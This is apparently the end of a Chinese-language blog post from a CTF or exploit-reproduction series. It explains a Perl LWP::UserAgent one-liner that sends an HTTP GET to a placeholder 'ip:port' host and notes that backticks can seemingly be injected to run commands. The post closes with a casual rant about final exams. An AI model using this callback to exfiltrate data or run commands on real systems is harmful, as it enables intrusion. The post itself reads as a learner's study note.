perl -MLWP::UserAgent -e "$ua=LWP::UserAgent->new;$response = $ua->get('http://ip:port');"

perl 命令,本来是用于进行系统任务管理的,用于执行 perl 语言.

-M 参数用于加载模块, LWP 是 Perl 中的一个 HTTP 客户端库,它提供了方便的接口来进行 HTTP 请求.

LWP::UserAgent 用于执行 HTTP 请求。

接下来大概就是用箭头的方式创建一个 UserAgent 对象,然后发送一个 get 请求,好像这个 get 请求可以像 curl 一样插入反引号执行命令之类的.

新姿势 get!!!

END

芜湖,终于复现完了,比终出题目 🐍粗来还√⑧爽.

md 期末了,👴再不学文化课要挂了,上个大学这么多事,艹.

概率论 数据结构 数据库 大学物理,还有几门要背的文科,开始喝洗脚水了,备考期末害得👴这个系列耽误了这么久,终于补完了.